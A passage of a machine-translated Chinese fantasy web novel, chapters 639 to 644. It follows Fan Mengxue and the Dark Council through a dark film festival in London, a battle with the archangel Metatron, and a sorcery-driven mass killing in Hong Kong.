    The cigar skeleton got anxious when he heard it, "Sixth, you care about what the **** I wear? You wear well? You wear torn jeans every day. You have to have not washed them for three years? What do you smell? I think it''s pretty?"


    "Fart, your nose rotted eight hundred years ago, can you still smell it?"


    "I can''t smell it, but Mengxue can smell it! Last time I made a movie, I saw with my own eyes that as long as you get close to Mengxue, people frowned!"


    "Nonsense, when I was making a movie, I used a brush to brush my bones all night, and I even waxed it at the end. How could it taste? But you, acted as a mafia boss, who stunned you and secretly Tattoo yourself! Just your old sticks, even a Pikachu tattoo, you can''t be young!"


    "Fuck, the sixth, do you want to die?" Cigar Skeleton wanted to move his arms and sleeves.


    A Pikachu was tattooed on the exposed bone.


    Now this group of skeletons is in a great chaos, and they keep fighting.


    "No one said anything today, sixth, I''m not finished with you today! Come and compare! Those who lose will not only have to be grandchildren for three years, but they also have to brush their bones every day."


    "Okay, it''s a deal, if anyone dares to repent, whoever the **** bone gets taken away by the dog!"


    Upon hearing this oath, the expressions of the skeletons became solemn.


    To them, it is a shame to be taken away by a dog.


    At this time, Fan Mengxue arrived.


    As soon as I saw her coming.


    The skeletons all stood up, behaving like a gentleman one by one.


    "Mengxue, you are here!"


    Fan Mengxue smiled and nodded. Just when she wanted to speak, she was stopped by a skeleton.


    "Mengxue, I have a new idea about the last performance. I think, the last time I performed was too superficial. When I was angry, I shouldn''t just have fire in my eyes, but should also bring out some expressions! For example, you Is it better to see me like this?"


    After speaking, the skeleton stared at Fan Mengxue.


    Ten seconds later...


    Fan Mengxue asked tentatively: "Has it started?"


    The skeleton blinked (don''t ask me how I blinked, it''s because of love!), "It''s over! Don''t you see the angry expression on my face?"


    Fan Mengxue shook her head.


    The skeletons also shook their heads.


    "Impossible... I am obviously very angry!"


    He was muttering.


    The two skeletons who were betting stood up at this time, glared at each other first, and then said to Fan Mengxue one after another.


    "Mengxue, you happened to be here, to be a witness with us, I want to bet this guy!"


    "Yes! You are a witness, this kid shameless province!"


    Fan Mengxue didn''t understand what was going on at first, and couldn''t help crying or laughing when she understood the situation.


    Just about to persuade them, the two skeletons said very stubbornly: "It''s useless, it''s useless to persuade anyone. Today, I have to divide the outcome with him!"


    In desperation, Fan Mengxue nodded, "Well, I will be the witness, then how are you going to gamble?"


    "It''s very simple. Today, he and I will both compete and die!" Cigar Skeleton said coldly.


    "Yes!"


    Hearing what they said, Fan Mengxue''s expression in UU reading couldn''t help but awe.


    "Well, do you start now?"


    "Start!"


    One minute later.


    Fan Mengxue looked at the two skeletons squatting on the ground dumbfounded.


    I saw the two of them holding a mobile phone in their hands, with two smooth skulls on top of each other, competing.


    "Damn, play Lianliankan with me, you are dead today! Look at my invincible whirlwind again and again!"


    "Hehe, in front of me, whoever looks at the king, you are all ants! Take it to death, look at the Supreme King!"


    The remaining skeletons looked solemnly at the two skeletons who were "dueling", and said solemnly.


    "The kings again and again, really terrifying!"

 Chapter 639： Chaos Appears

    With great difficulty, Fan Mengxue got rid of these uncle skeletons.


    When entering the castle, the necromancer Karthus and the dark witch Anastasia are sprinkling dog food in the living room as always.


    "Oh, my dear sorceress, your beauty has fascinated me deeply, and your smile has given me infinite courage. With you, I even have the courage to fight against Hades." Karthus looked affectionate. Said.


    Anastasia''s face was shy, and her fingers circled Karthus'' chest, "Hate, how can the Lun family be as good as you said!"


    "No!" Karthus grasped Anastasia''s hand and said with a heartbroken face.


    "look into my eyes!"


    Anastasia shuddered, slowly raised her head and looked into Karthus'' eyes.


    I saw Karthus said sadly: "I don''t allow you to belittle yourself. You have to be clear and remember that you are the best girl in this world and you deserve any praise."


    Anastasia was so blushing that she touched Karthus''s cheek affectionately.


    "My dear Karthus, you are also the best man in this world!"


    Seeing this scene, Fan Mengxue, who just walked in, felt goose bumps all over his body.


    And the Dream Banshee and Titan sitting on the sofa not far away are even more unlovable.


    "Ahem, have they always been like this?" Fan Mengxue came over and asked.


    The Dream Banshee nodded, "It has been like this since they came back from their honeymoon!"


    The Titan said with grief and indignation: "Mengxue, do you believe it? The banshee and I have been eating dog food here for three months! Don''t you think I''m thin?"


    Fan Mengxue looked at the Titans, "It seems to be a little thin!"


    "That''s all goosebumps!" Titan said grievously.


    "Then you won''t avoid here and don''t watch it?" Fan Mengxue asked.


    "It''s useless!" The Dream Banshee shook his head with the Titans.


    "No matter where you are, they will appear in front of you, and then scatter dog food for you to eat at 360 degrees without dead ends!"


    "The banshee is right, and...you haven''t seen it before eating! That''s the real dog food crit!" At this point, the Titan was about to cry.


    In this regard, Fan Mengxue expressed great sympathy.


    "Mengxue, you must have something to come to the castle, right?" The Titan looked at Fan Mengxue very hopefully, and the desire in his eyes overflowed.


    "Uh...it''s something!"


    Titan seems to have caught the straw, "Mengxue, just say it, as long as you can let me leave this **** castle, no matter what you ask me to do, even if I go to fight the goddess of the earth now, I have nothing. Fear."


    The Dream Banshee didn''t speak, but Chuchu''s pitiful expression already represented everything.


    Fan Mengxue nodded in tears, "Didn''t we make a few movies some time ago and get a lot of praise? I plan to combine these movies to host a dark film festival and invite many fans to participate. You can select suitable dark disciples from them."


    "Good proposal!" Titan immediately nodded and praised.


    In fact, as long as he has a legitimate reason to leave the dark castle, he is willing to do whatever he does.


    What''s more, Fan Mengxue''s proposal is really good.


    "I think it''s not bad," a female voice said quietly.


    The Titan was about to talk, and then he was stunned.


    Because I don''t know when Karthus and Anastasia have already stood aside, and it is the Dark Witch who is talking.


    "The scenery outside is picturesque, but it''s not as good as your time, Tacia, do you want to go too?"


    "Your existence is my last stubbornness to this world, yes, I want to go too!"


    "Well, no matter what the road ahead, I will accompany you to go."


    "Sass!"


    "Thea!"


    Look at the two big guys who are thousands of years old together.


    The Titans and the Dream Banshee, who had just been fortunate to have escaped from the sea of ??suffering, let out a desperate sigh.


    "The God of Darkness is on top, when is this kind of suffering?"


    The skeletons outside who were arguing over the result of the gambling battle couldn''t help quieting after hearing this sigh.


    After a while, the skeleton said, "It''s the voice of Lord Titan and the Dream Banshee!"


    "Tsk tsk, it must be Karthus and the Dark Witch who are spreading dog food again!"


    "Yes, I really sympathize with the Titans and the Dream Banshee!"


    The two skeletons, the sixth cowboy and the second cigar brother, clasp each other''s eyes.


    "Sixth, won''t you let it go?"


    "You scatter me first!"


    "Why?"


    "Who told you to lose to me?"


    "That''s you cheating! Obviously I finished the connection first!"


    "Hehe, I cheated if I lost?"


    "Okay! Let''s not finish today!"


    With that said, the two skeletons fought together again.


    Upon seeing this, the remaining skeletons rushed in and began to persuade them.


    There was chaos inside and outside the dark castle.


    And at this moment.


    In that renewed church.


    Metatron was watching the movie enthusiastically.


    Especially when he saw Fan Mengxue play, he was even more excited.


    After watching these dark movies starring Fan Mengxue, Metatron leaned on the chair, a faint smile appeared at the corner of his mouth.


    "Interestingly, is this protagonist a member of the Dark Council?"


    "Holy Angel Lord, yes! And not only her, the supporting roles are almost all members of the Dark Council! Now these films have caused an uproar in Europe, and they have virtually cultivated a lot for the Dark Council. Potential disciple."


    Metatron nodded, "It''s a novel method of preaching, it''s worth learning!"


    "Furthermore, I heard that Fan Mengxue is going to hold a dark film festival. The news has spread throughout Europe. Lord Saint Angel, how should we respond?"


    Metatron smiled and looked at the paused picture of Fan Mengxue on the screen.


    "If this is the case, then we will join in the fun too. I am very interested in this woman."


    At the same time, in Qingmang Town.


    An Qing said to An Yan with a very serious expression: "Sister I just received a call from the military department. Now there are evil gods everywhere in China and the whole world, and this Qingmang town is no longer there. It''s safe. You should go to Zhongdu with me. There is military protection there, so it should be safer."


    An Yan shook his head, "I said, I won''t leave! And have you forgotten that your sister, I am also a master? Nothing will happen!"


    An Qing sighed. She knew her sister''s temper and understood that persuasion would not work at all.


    But she was still a little worried.


    An Yan said: "Compared to me, you have to be more careful. As the chaos is today, you are fighting everywhere with the Phoenix, but you must be careful!"


    "Yeah! Sister, be more cautious about you and miss you, I''ll leave first! The army car is waiting for me downstairs!" An Qing said, and hurried downstairs.


    Miss Nian, looking at An Qing''s back, asked sadly: "Mom, what are you going to do?"


    "Auntie, you are going to fight monsters!" An Yan sighed.

 Chapter 640： Diablo Film Festival

    The Dark Film Festival is held in London, the headquarters of the Dark Council.


    With Fan Mengxue''s current status in the international film scene, coupled with the strong influence of these dark movies, when the news came out, it immediately attracted the attention of fans throughout Europe and the world.


    In addition, this time there is no ticket system, so before the opening of the film festival, the venues are already overcrowded.


    These fans who came to participate in the festival are also very interesting. They all spontaneously played roles in several movies.


    For a time.


    The whole film festival is like a dance of demons, and various witches and necromancers emerge in endlessly, which is really lively.


    Dark giants such as Fan Mengxue and Karthus looked down from the top of the hotel at the venue.


    "It seems that my dear witch is the most popular. See how many fans are in the COS witch in the field!" Karthus said with a smile.


    "No, there are many necromancers too!" Anastasia said.


    The two began to spread dog food in a business model.


    Fan Mengxue and the others were a little farther away from them subconsciously.


    And those skeletons also followed this time, all leaning on the window and looking down.


    "Damn, our brothers have spent so much energy, why don''t we have a COS?"


    "Who said no!"


    Fan Mengxue said: "Maybe it''s because you are not good at COS!"


    This group of skeletons lit up when they heard it.


    "Mengxue is right, we have such a skinny skull shape, who can make a cosplay!"


    "Why don''t we go down and COS ourselves!" There was a skull and bones that said openly.


    "agree!"


    Then the gang of skeletons didn''t discuss it with everyone, they pushed out of the hotel and joined the crowd of fans on the street.


    "Is this okay? Wouldn''t it cause panic if it was discovered?" Fan Mengxue was a little worried.


    "Don''t pay attention to these guys, the young ones have lived for hundreds of years, all of them are old oil, knowing what to do and not to do." Dream Banshee said.


    "Moreover, these guys are like mascots in the Dark Council, no one can command them!" Taita giant added.


    As they said.


    When the skeletons left the hotel and entered the parade of fans, they did not arouse suspicion.


    There are even a lot of fans who are very excited to come around.


    "Wow, how do you cos? It''s so handsome!"


    Hearing these voices, the skeletons were all very proud.


    At the same time, there are many girls who are very excited to come forward to take a group photo.


    This time, the skeletons found the feeling of being a star, and then they all turned on the sister-in-law mode, and they had a strong Northeast accent in English.


    For creatures like them that have lived for thousands of years, human girls in their twenties and thirties are simply naive and cute. Often a few words can make these girls fall into it unconsciously.


    When they entered the main venue of the film festival, the pockets of these skeletons were all filled with small notes with phone calls.


    A few brave girls even kissed the skull directly, leaving a bright red lipstick mark on the jade-white bones.


    Seeing this scene, Fan Mengxue realized that what the Titans said was true.


    This group of skeletons is simply a group of old rascals without flesh and blood.


    Fortunately, this is the case, otherwise I don''t know how many romantic debts have to be left.


    The Dark Film Festival has opened.


    As the finale, Fan Mengxue will only appear at the end.


    The other dark giants have already gone to the front desk.


    The dream banshee is responsible for regulating the spiritual atmosphere of the audience, so that everyone gradually accepts the existence of darkness.


    This is a very clever means, and at the same time there will be no coercion.


    To put it bluntly, Fan Mengxue is actually using the means of operating fans to expand the influence of the Dark Council.


    When Fan Mengxue was left in the hotel room, Han Yao gently opened the door and walked in.


    Fan Mengxue is now an internationally renowned movie star with numerous awards.


    But Han Yao is still her agent.


    "What''s wrong?" Fan Mengxue saw Han Yao''s hesitation and stopped.


    Han Yao hesitated for a moment, and then sighed: "Qingmang Mountain has turned into white light and disappeared. Although this news has been blocked by layers, it still spread. The great change in the qi of the world should also be related to this matter."


    Now Han Yao has also joined the Dark Council and began to practice, and his cultivation level is not bad. He already has the strength of heaven and human, so he can naturally feel the changes in the atmosphere of heaven and earth.


    Green mansions.


    Hearing these two words, Fan Mengxue''s heart became tight.


    Han Yao saw Fan Mengxue''s worry, and then said: "Since last year''s New Year''s Eve, he has not appeared! And Miss An has been guarding Qingmang Town!"


    Fan Mengxue bowed her head silently, then smiled after a while, "I knew when he left, two hundred and thirty-one days have passed since he left."


    Fan Mengxue cultivated the Dark Holy Emperor Jue that Xue An bestowed on her, which allowed her to faintly feel Xue An''s energy.


    And this Qi machine disappeared on the night of New Year''s Eve last year.


    At that time, Fan Mengxue had just received Xue An��s reply to her. After a while, Fan Mengxue could not feel Xue An��s energy.


    But Fan Mengxue never showed any abnormalities, just silently counting the days in her heart.


    "Mengxue, do you need to go back?" Han Yao asked hesitantly.


    Fan Mengxue shook his head, "No, he should have left the earth to go to some secret realm. As for Qingmang Mountain, he should have something to do with him, but I believe that he will be fine, because... he is Xue Ann!"


    Looking at Fan Mengxue with a relaxed expression, Han Yao nodded, "Okay! You will be on the court in a while, I''m going to get ready!"


    After speaking, she left the room.


    When Fan Mengxue was left alone in the room, she tried her best to control herself, but her teeth trembled slightly.


    "Xue An...I believe you will come back, you will definitely!"


    At the same time, in the corner of the film festival, Metatron wore a hat and sunglasses, chewing gum in his mouth, and looked at Karthus and others on the stage in the distance with interest.


    "Necromancer? It''s really interesting! The fellow Pluto is already overwhelmed and there are still his followers in the world?"


    "There is also this fanatical atmosphere, and it seems that there are also dream banshees contributing to the flames!"


    "But if that''s all, why would the old fellow Guangming God refuse to lower the realm?"


    Just as he thought to himself.


    Following a few introductions from the host, the crowd burst into deafening cheers.


    "Mengxue! Mengxue!"


    The foreigners shouted Fan Mengxue''s Chinese name in a strange tone.


    Metatron raised his head and looked at the stage. When Fan Mengxue''s figure appeared in front of him, he licked his lips, his eyes flashing with greed.


    "I haven''t seen such a pure power of darkness for a long time! And the blood of this woman is also very interesting. If you combine with me, you may even give birth to extremely terrifying offspring."

 Chapter 641： You will be my best prey in the world

    As the holy archangel, Metatron is an extremely pure power of light.


    Fan Mengxue is of dark blood.


    Such a combination should logically be incompatible.


    But Metatron knows that if it can be reconciled through certain secret arts, light and darkness can be combined and give birth to blood.


    You must know that as a high-level god, it is extremely difficult to give birth to an heir, not to mention that the heirs born in this way are often extremely powerful.


    This is why Metatron was very interested in Fan Mengxue when he was watching movies.


    Thinking in his heart, Metatron kept staring at Fan Mengxue with greedy eyes.


    Fan Mengxue on the stage always felt that something was wrong today, but she couldn''t tell what was wrong.


    In desperation, she could only press down on the irritability in her heart and continue the various activities of the film festival.


    As the finale, Fan Mengxue''s high popularity has been fully reflected at this moment.


    Often she simply said a few words, and the group of foreigners who had never seen the world started screaming in shock.


    The climax of the whole atmosphere was when Fan Mengxue sang the common theme song of these films, Song of Darkness.


    Everyone became intoxicated with Fan Mengxue''s singing, and sang in unison.


    The dark light visible to the naked eye appeared above everyone''s head.


    The entire venue seems to have become the home of darkness.


    But at this moment, a cold and evil voice resounded through the audience.


    "Darkness has always been only a subsidiary of light, and only light will exist forever!"


    Following this sentence, a little light began to fall over the entire venue.


    Seeing this scene, the giants of the Dark Council were all surprised.


    Then the Titan giant shouted in a deep voice: "Who?"


    "It''s nice to meet you here and introduce myself. My name is Metatron."


    Metatron''s figure floated, and the wings of light gradually emerged behind him.


    "Metatron... Are you the seraph sitting on the throne in the legend?" Karthus, who has the deepest research on ancient European mythology, exclaimed.


    Metatron leaned slightly, "I''m glad that someone can know me, but I hope you can call me Lord Angel."


    At this time, all the ordinary people in the entire venue were confused, as if they were all indulged in a dream, unable to wake up temporarily.


    The nine pairs of light wings behind Metatron were completely condensed, and the force of light swept the venue. The dark giants such as Kal''thus who were forced to step back a few steps, their complexion became extremely ugly.


    Only Fan Mengxue stood in the forefront, indifferent to this powerful light pressure, and said lightly: "The Church of Illumination has been destroyed, whether you are a holy angel or God of Illumination, there is no place for you in this world! So please go back to you. Spirit world!"


    Metatron chuckled, "It seems that you haven''t understood the current situation. This world has been reopened. Not only me, but many gods will come to the world, and the only thing you mortals can do is kneel down. Attach to me! Otherwise, you will completely disappear in the heavens and worlds, do you understand?"


    Fan Mengxue hadn''t spoken yet, these skeletons could no longer hold back, pointing at Metatron was a curse.


    "Hey, the bird man with wings, can''t you pee and look in the mirror when you talk? Just your virtue, let us kneel down and cling to you? Why? I plan to let us follow you to learn birds Scream!" The skeleton holding the cigar was sure to curse, he was obviously a master of this skill.


    "Second brother, what you said is wrong, this guy knows that he can''t pee at all, how can he look in the mirror?"


    "I think the second brother is right. It''s because this guy can''t urinate, so he can''t look in the mirror. Naturally, he doesn''t know how many catties he is!"


    As soon as these skeletons sang and sang together, just like talking about cross talk, they cursed Metatron bloody.


    Even in the God Realm, Metatron is a high-ranking god, where he has suffered such grievances, so his face was blue and red, and he roared, "I''m looking for death!"


    Saying that the wings behind him flapped, a bright cross struck the skeletons.


    "Oh my god, why are you eager to talk?"


    This gang of skeletons don''t look at their ability, but they are all elites who have survived various cruel battlefields. Seeing the bad situation, they immediately scattered and fled.


    This cross mark will directly collapse the entire field.


    Fan Mengxue snorted, the majestic dark air gradually condensed into a pair of wings behind her, and then pointed at the skeletons.


    "You go back first!"


    As the brilliance flickered, the skeletons disappeared.


    Then Fan Mengxue looked at Metatron, "It''s narrow, how about going outside?"


    Metatron stared at the black wings behind Fan Mengxue, almost drooling, and nodded when he heard the words.


    "Alright!"


    After saying that everyone used their skills, they left the meeting place and appeared on the empty wilderness.


    He is the only one on Metatron.


    On Fan Mengxue''s side, there are many giants of the Dark Council.


    The number seems to have an advantage.


    But everyone''s complexion is very solemn.


    Because Metatron was equally divided with the power of darkness by one person.


    Fan Mengxue now has the majesty and calmness of the Queen of Darkness. She glanced at Metatron, and then said coldly: "I don''t care what **** you are, but now it belongs to the chassis of my dark council, you now go back. I can give you another chance!"


    Metatron laughed sternly, "Do you know why I have waited until now and haven''t done it?"


    "Because... you are my most delicious prey!"


    As soon as the voice fell, Metatron''s figure appeared behind Fan Mengxue, and he shot Fan Mengxue flying out with a palm.


    The speed of this blow was so fast that everyone did not even react.


    It wasn''t until Fan Mengxue was beaten to fly away the nearest Titan roared and blasted him with a punch.


    Titans are the sons of the goddess of the earth, and the most terrifying thing is power. It can be said that if the body is alone, there are few opponents of the Titans in the entire world.


    But after this punch hit Metatron, it didn''t even arouse a ripple.


    Metatron said indifferently: "It seems that you still don''t understand... how big a gap is between man and god!"


    Then Metatron blasted out with a punch and knocked out the Titans.


    At the same time, the bone dragon summoned by Karthus also appeared in the air.


    But Metatron was just a snap, and the bone dragon let out a mournful cry and turned into powder.


    Then Metatron three fists and two kicks, knocking out the dark giants one by one, standing in the air, looking at Fan Mengxue in the distance, smiled slightly.


    "I said, you will be my best prey here!"

 Chapter 642： 10 heavy forbidden curse, kill!

    Fan Mengxue wiped away a trace of blood from the corner of her mouth and looked at Metatron coldly, her eyes gradually turning pure black.


    The Dark Saint Emperor Jue had been urged to the extreme by her, and the powerful dark power radiated from her, covering Xingyue.


    Metatron''s expression has also become a little more solemn, "Such pure and majestic dark power, by no means can be cultivated by ordinary exercises! Woman, you are more and more interesting to me!"


    Fan Mengxue was unmoved, but said coldly: "He is right, you gods, being aloof is really disgusting!"


    "So... Get me back to your God Realm!"


    Following Fan Mengxue''s words, the darkness that covered the sky and the sun instantly became like a substance, like a cage, trapping Metatron firmly in it.


    At the same time, Fan Mengxue moved his fingers, and layers of earth-shaking brilliance began to emerge.


    The Dark Witch Anastasia was shocked when she saw this.


    "It''s a dark forbidden curse! And there are several forbidden curses!"


    As she said, every level of brilliance is a forbidden curse.


    After several layers were superimposed, it condensed into a very terrifying black light ball.


    "Ten Forbidden Curse��Kill!"


    Kill the word export.


    The black ball of light appeared on top of Metatron''s head in an instant, and then exploded.


    The terrifying power like a nuclear bomb shook the world, and a small mushroom cloud rose.


    Fan Mengxue''s face was pale, and her figure trembled slightly.


    Anastasia rushed forward to help.


    The Titans looked at the mushroom cloud with solemn expressions.


    "Is it dead?" The Dream Banshee asked in a deep voice.


    As soon as the voice fell, I saw an embarrassed figure rushing out of the mushroom cloud, and then roared: "Woman, you dare to hurt me, I want you to be my slave forever!"


    It was Metatron who rushed out, but now he has no more majestic scene, the original meticulous hairstyle has become scorched, and the pair of light wings behind him has also become dim, looking very embarrassed.


    This made Metatron very furious.


    To my surprise, this woman could actually hurt herself.


    Angrily, if it hadn''t been for the temporary cover of light wings, it might be worse now.


    So after a roar, he brazenly rushed towards Fan Mengxue.


    The Titan suddenly slapped the ground, and his body suddenly soared.


    Although he was slapped flying by Metatron just now, because of his thick skin, coupled with the son of the goddess of the earth known as the Titans, as long as he can touch the ground, he can gain a steady stream of power.


    So when the Titan saw Metatron rushing, he immediately showed the appearance of a giant, and then blasted out with a punch, trying to stop.


    But Metatron didn''t evade, so he rushed over.


    boom!


    The Titan snorted and was directly hit by Metatron and flew far away, and the power of light lingered all over his body, causing his figure to shrink back quickly.


    Upon seeing this, the dream banshee screamed at the sky, and a powerful mental shock wave went straight to Metatron.


    This blow was so powerful that even the facial features of the Dream Banshee shed blood.


    But even so, he still couldn''t shake Metatron.


    Metatron broke this mental shock wave with just a snap.


    And the power of light instantly blew back, causing the Dream Banshee to spit out a big mouthful of blood.


    At the same time, Anastasia and Karthus have already shot.


    "Dark and mist!"


    "True Necro Knights!"


    The Dark Mist is a not too eye-catching forbidden spell in the Dark Witch law system, and even some dark witches think this forbidden spell is simply a tasteless one.


    Because this forbidden curse itself is not lethal, it can only create a dark mist.


    Although it has a powerful bonus to the dark creatures in it, its power is far less powerful than other dark curses.


    But when this dark mist encountered necromancy spells, its power increased exponentially.


    The True Necromancer Order is an advanced version of the Necromancer. It is already very powerful, and its power is even more amazing when it encounters the bonus of the dark fog.


    What''s more, what Karthus summoned was an entire Necromancer.


    In the mist, dozens of necromantic knights riding on bone horses and wearing sophisticated armors, with two groups of blue flames burning in the helmets, surrounded Metatron.


    After using this spell similar to the necromancer, the soul fire in Karthus'' eyes quickly dimmed.


    Anastasia''s situation is a little better, but because she has suffered a serious injury just now, she is also faltering now.


    At this moment, everyone in the Dark Council pinned their hopes on this blow.


    But in the face of such a group of silent necromantic knights, Metatron just grinned, "If you summon the abyss knight commander, maybe I will be a little afraid of it, just relying on these necromantic knights, think Stop me?"


    The holy light appeared on Metatron''s body, "The Judgment of Light!"


    boom.


    A holy light shrouded every necromancer''s head.


    After struggling for a while, these necromantic knights turned into pieces of fly ash.


    Even the dark mist completely disappeared after a tremor.


    However, after a few face-to-face encounters, the people in the Dark Council were all seriously injured, and there was no more fighting power.


    Metatron looked at Fan Mengxue, who was pale, and smiled gracefully, "Woman, give in now, I will give them a good time!"


    Fan Mengxue didn''t say a word, but the tremor all over her body became more intense.


    Metatron said lightly: "If this is the case, then I will send this group of dark ants to **** first!"


    Said it is about to start.


    At this moment, Fan Mengxue spit out a big mouthful of blood, his body''s energy quickly decayed, but he whispered four words in his mouth.


    "Darkness, sacrifice!"


    With an order, two black wings appeared behind Fan Mengxue that were several times wider than just now.


    Metatron looked at it with interest, then shook his head, "It''s useless, in front of me, your tricks..."


    Before he finished speaking, Fan Mengxue''s wings snapped together, and he surrounded all the members of the Dark Council, and then he shook his body and disappeared.


    Metatron was startled, "Want to run? It''s not that easy!"


    As he said, he hurriedly followed but no matter how he chased him, he couldn''t keep up with Fan Mengxue who sacrificed his life to the darkness.


    In the blink of an eye, Fan Mengxue led everyone back to the dark castle, and then rushed directly into the castle.


    Just as Metatron wanted to rush in, the skeletons had been waiting at the door. When they saw Fan Mengxue entered the castle, they immediately closed the door and opened the defensive circle.


    The dark castle is the base camp where the Dark Council has been operating for thousands of years. The various defensive circles are so dense that they are countless. Once all of them are opened, layers of enchantments will be formed immediately to guard them firmly.


    But Metatron only sneered when he saw this, "I want to stop me because of this?"


    "Slaying of Light!"


    With an order, the holy light was like rain and began to impact these dark enchantments.


    In the blink of an eye, 90% of the defense was broken.

 Chapter 643： Chaos of the gods

    At this extremely urgent time, the atmosphere in the dark castle was extremely depressed.


    Everyone looked at Fan Mengxue, who was lying in Anastasia''s arms, with an extremely gray face.


    The eyes were all red.


    Had it not been for Fan Mengxue, they might have been wiped out.


    But as soon as he returned to the dark castle, Fan Mengxue fell into a coma because of his injuries.


    At this time, the outer defensive barrier was already shaky, and Metatron''s triumphant laugh came in.


    The Titan took a deep breath, turned and left.


    "What are you going to do?" The Dream Banshee asked.


    The Titan said lightly: "Naturally, I went to kill the birdman and avenge Mengxue."


    "But your wounds!"


    "The Titans have never been cowards. Even if they die, they will die on the battlefield."


    Titan''s words infected everyone.


    All the members of the Dark Council looked solemn and stood up to kill themselves.


    At this moment, Fan Mengxue slowly opened his eyes.


    "Mengxue...how are you!" Anastasia trembled.


    Fan Mengxue shook her head slightly, and then said with difficulty: "Don''t go, you are not the opponent of this guy!"


    "What do you do then? Do you want to wait for death here?" Titan smiled bitterly.


    "The world is in chaos, the only thing we can do is wait for him to come back!"


    "Waiting for him to come back?" everyone said together.


    At this time, Fan Mengxue''s breath became more and more disordered, and he couldn''t even speak, but he still looked up at Anastasia.


    Anastasia knew who Fan Mengxue was talking about, and she nodded with tears in her eyes.


    "Yes! I understand!"


    At this moment, the entire dark castle was shocked, and it was obvious that the barrier could not be supported for long.


    Fan Mengxue''s expression suddenly became calm, just like the little girl back then, with expectant light in her eyes.


    "I will be here...wait for him to come back!"


    With that, Fan Mengxue slowly closed her eyes.


    The power of darkness gushes out of her body and turns into countless black vines, covering the entire dark castle.


    And her body, under the support of this vine, gradually rose, and then was completely covered by darkness.


    This... is Fan Mengxue''s last guarding power.


    She uses the Dark Holy Emperor Jue as a guide to completely bind herself to this ancient castle. If someone wants to break through this layer of guardian barrier, unless she is completely destroyed, it will never be possible.


    Everyone in the Dark Council looked up at this scene blankly, and before they knew it, all their eyes were red.


    And Metatron, who was outside, was very angry now.


    At first he was about to break through the defense of the dark castle, but unexpectedly a more powerful dark enchantment suddenly appeared, and firmly protected the entire dark castle.


    And when he took a closer look at this dark barrier, Metatron''s complexion couldn''t help but look harder.


    "Using your own life as a weight to unlock the guardian, woman, do you want to use this to blackmail me?"


    But Metatron knows that if he breaks through this barrier forcibly, he won''t say that he will be hurt. The key is that Fan Mengxue will definitely be destroyed by then.


    Now Metatron is bound to win against Fan Mengxue, so naturally he doesn''t want to end up like that.


    So Metatron stood in mid-air for a while hesitating, and then sneered: "Woman, I said you are my prey, then even if you run to the ends of the world, you can''t escape my palm!"


    "Want to use this to blackmail me! You are naive!"


    After all, Metatron directly ascended into the sky, and then revealed an extremely huge body of holy light.


    The holy light enveloped the world, and the whole of Europe was shaken by it.


    Countless people took to the street, staring blankly at this shocking scene in the sky.


    "Mortal people, I! I am the only Supreme God! Now kneel down to serve me, and I will give you a long life and powerful strength!"


    Metatron''s voice spread throughout Europe.


    Accompanied by it, there is endless holy light that spills down.


    Countless people knelt to the ground after struggling for a while.


    But under the holy light, the dark disciples all over Europe screamed and turned into nothing.


    Metatron looked down at the kneeling crowd on the ground, his mouth raised, revealing a satisfied smile.


    "Very good! From then on, this place will be my kingdom of God! You will be my people."


    On that day, the holy archangel Metatron used the holy light to embody the world, turning Europe into the kingdom of light and shocking the world.


    Taking this incident as a watershed, since then, the world has truly become chaotic.


    Hong Kong Seaport.


    When An Qing led the members of the Fire Phoenix team alighted from the military helicopter, the huge airport was empty, with no passengers.


    This was simply unimaginable before.


    "Some time ago, Cthulhu specifically dealt with flights in the sky, and caused the tragedy of dozens of planes and planes. Since then, all civilian flights around the world have ceased operations." Zou Yi explained in a low voice.


    An Qing''s face sank like water, "What''s the situation here?"


    "Since yesterday, some innocent citizens have died madly, and their deaths are extremely miserable. Later, after being identified, they should have been hit by the head-down technique." Zou Yi, who specializes in intelligence, said after hearing the words.


    "Head-down technique?" Captain Cheng Hao frowned upon hearing the words, "Isn''t Dao Fa Fu Seal Branch responsible for this kind of thing?"


    "Yes! But..." Zou Yi took a deep breath.


    "From yesterday to now, there have been more than 10,000 innocent citizens killed in Xiangjiang! The matter is too much trouble, according to the above speculation, it should be an ancient evil god."


    Ten thousand!


    This **** figure made everyone in Fire Phoenix''s complexion sink.


    "These **** gods!" An Qing said with a bitter expression.


    "Go, give these arrogant gods a lifelong lesson!" Cheng Hao said solemnly.


    Everyone suddenly promised, and then entered the city through a military vehicle that was already prepared.


    The once bustling city has become deserted.


    Pedestrians passed by in a hurry, everyone''s face with a panic expression.


    Seeing this scene, An Qing''s heart became heavier.


    During this time, she and the Fire Phoenix team had seen too many such images.


    And the opponents are getting more and more difficult.


    "I don''t know when the **** gang will be wiped out!" An Qing sighed softly and someone whispered: "If the instructor is there, it will be fine!"


    Hearing this voice, everyone was silent for a while.


    Yes!


    If the instructor is there, is it still the turn of these gods to be rampant?


    At this moment, on the top floor of a hotel in the center of Xiangjiang, he was cast into the image of an ordinary South Asian man, standing in front of the window overlooking the city.


    "Haha, after so many people died, are you still refusing to show up? The guy who killed my son of God, did you know that I came, so scared to show up?" Jiang Shen muttered to himself.


    As he was talking, he seemed to feel something, his gaze passed through the barriers of the buildings and projected onto the military vehicle in the distance.


    "Interesting! There are so many vigorous cultivators, this is a rare sacrifice!" Sacrifice said greedily.

 Chapter 644： Immortal surrender

    Song Yi was in charge of receiving An Qing and others.


    This feng shui master who was once famous in the Central Capital has been operating Xiangjiang diligently since he was surrendered by Xue An.


    After several years of unremitting efforts, Song Yi has become the one and only speaker in this land, and his prestige is even stronger than that of the former Haigang Ming family.


    But this sudden change disrupted all Song Yi''s plans.


    In just a few days, more than 10,000 people died of witchcraft.


    For a time, everyone in the harbor of Hong Kong was in danger.


    Naturally, he was also under great pressure.


    So when he heard that An Qing led the members of the Fire Phoenix Special Forces, Song Yi was overjoyed and hurried over to meet him.


    When An Qing and others followed Song Yi back to his residence, they couldn''t help being taken aback.


    Because this small villa is full of people.


    Song Yi explained: "Ms. An, this is the Feng Shui Jedi I temporarily set up with the technique of Feng Shui, which can shield all kinds of evil arts, and these children are outstanding among the younger generation of Xiangjiang, in order to be able to leave for Xiangjiang. Some vitality and blood."


    An Qing was stunned, and then said in a deep voice, "Is the situation in Xiangjiang now at this level? Has the source been discovered?"


    Song Yi smiled bitterly, "Before you arrived, we also organized many people to search for the source, trying to find the person who used the sorcery, but overnight, these people all died."


    Speaking of this, a sad expression appeared on Song Yi''s face, "Those are a bunch of good-spirited men, but the result is unclear."


    Then Song Yi lowered his voice and asked, "Miss An, is there any news from Mr. Xue now?"


    An Qing shook her head.


